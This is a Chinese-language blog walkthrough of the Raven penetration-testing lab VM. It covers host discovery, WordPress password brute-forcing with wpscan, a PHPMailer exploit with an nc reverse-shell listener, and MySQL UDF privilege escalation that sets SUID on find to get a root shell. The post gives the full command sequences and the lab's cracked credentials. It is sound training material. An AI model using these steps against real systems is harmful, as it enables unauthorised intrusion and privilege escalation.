Raven 靶场渗透实例

知识点

1. PHPMailer
PHPMailer是一个用PHP编写的开源邮件发送库,它可以让PHP开发者方便地向收件人发送电子邮件。PHPMailer可以运行在几乎所有支持PHP的平台上,它使用SMTP协议来发送电子邮件,也可以使用PHP内置的mail函数。

实验环境

kali:10.10.10.128
靶机:10.10.10.145

1. 主机发现

netdiscover -i eth0 -r 10.10.10.0/24
# 或者
arp-scan 10.10.10.0/24

img

2. 服务探测

nmap -sS -sV -T5 -A 10.10.10.145

img
通过nmap扫描,发现该目标开放了80、110、22端口。那么就先查看web服务,看看有没有什么有用的信息吧!!!
在没有进行目录扫描时,一定要看源代码,一定要仔细的查看查看
img
在查看了几个页面,发现了flag1(只能说我说一头猪,都说了几遍,但是当第一次玩项目时,还是没有仔细查看,我服了!!

3. 目录扫描
对目标主机进行目录扫描,如使用御剑、dirsearch、gobuster(反正在实际的项目中多使用不同的字典进行扫描)
img
通过目录扫描,发现wordpress(也是一个老演员了,遇到它也应该知道下一步该怎么做了吧!)

知道该web服务器使用了wordpress框架,那就使用wpscan扫描一下呗(专门针对wordpress框架的漏洞扫描器)

wpscan --url http://10.10.10.145/wordpress/ -e

img
通过wpscan进行信息收集得到两个用户:steven、michael
那就使用kali自带的密码本进行爆破(时间特别长,大概两个小时,这里也提示我们,搞安全的一定要有耐心!!!

wpscan --url http://10.10.10.145/wordpress/ -e -U steven -P /usr/share/wordlists/rockyou.txt -t 10

img
得到用户名:steven
密码:pink84

到这里大家肯定会问不是还有一个用户,为什么不暴力破解一下?这里给大家解释解释:第一是因为我没有耐心!第二是网上就测试一个用户!所以懂?

这里知道用户名、密码,那么接下来的思路就是找登录窗口,进行登录。没有找到!那么这个用户可不可以使用ssh进行登录,那就试试看,能ssh登录!!!

4. 提权

  • 查看敏感文件、目录,看能不能提权
  • 查看特殊权限,是否能SUID提权
  • 使用sudo -l查看授权的命令
  • 上传漏洞检测脚本

也是在/var/www/目录下发现flag2。
img

接下来的flag会在那里呢?管他的,先到网站根目录查看一下配置代码,也是在wp-config.php文件中找到了root用户密码,那就登录登录看看有上面好东西!!

mysql -u root -pR@v3nSecurity

通过一顿猛如虎的操作,也是在wp_posts中发现了flag3和flag4!!!(这也告诉我们不要忽略数据库中的重要信息
img

到这一步虽然都拿到了flag,但是没有提权的渗透是不完美的!!!这也暗示我是一个完美主义的人!

sudo -l #列出用户能执行的命令

img
获得最高权限!!!

使用wpscan对目标系统进行扫描,发现随随便便都是2个小时,那看看有没有其他方法getshell?

当初这个扫描出来/vendor是什么东西呢?
本人小白,查看查看网上教程,说PHPmailer存在漏洞!!!
img

img

img

通过查看在/vendor的文件,发现有一些线索,作者大大,也提示了我们!!!在kali上面搜索看看有没有相关的漏洞!

img
将漏洞复制在桌面上,查看使用方法!
img

根据提示,在kali上运行:

python 40974.py

然后使用nc进行监听:

nc -lvnp 4444

在浏览器访问刚才的后门文件,反弹shell
img
获得低权限shell!!!

提权:这里既然能获取MySQL的root密码并且能登录,那么是否能使用MySQL进行UDF提取呢?
使用root登录一下MySQL查看查看

mysql> show global variables like 'secure%';
show global variables like 'secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.00 sec)

  1. 当secure_file_priv的值为NULL,则表示mysqld不允许导入|导出。
  2. 当secure_file_priv的值没有具体值时,表示对mysqld的导入导出没有限制。
  3. 当secure_file_priv的值为/usr/,表示限制mysqld的导入导出只能在/usr下

既然有root权限就可以修改该字段,以便进行后期的提取操作!
查看mysql动态链接库位置

mysql> show variables like '%plugin%'; 
show variables like '%plugin%'; 
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

在kali中寻找相应的exp呗!
img
根据exp的提示一步步来!

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

然后使用python将编译过的文件发送到目标系统的/tmp目录下!
img

进入mysql数据库,创建表,导入文件内容,然后将文件导出到链接库中,新建存储函数,进行提取!!!

use mysql;

create table test(line blob);

insert into test values(load_file('/tmp/test.so'));

select * from test into dumpfile '/usr/lib/mysql/plugin/test.so';

create function do_system return integer soname 'test.so';

select * from mysql.func;

select do_system('chmod u+s /usr/bin/find');
-- 调用do_system函数为find命令添加suid权限,使其可以执行root命令

exit

img

然后执行find命令

touch test
find test -exec "/bin/sh" \;
cd /root

总结

  1. 还是太年轻!!!
  2. MySQL提取居然不会!!!
  3. 漏洞放在那里还是不会!!!
  4. 继续努力吧!
posted @   kalixcn  阅读(84)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示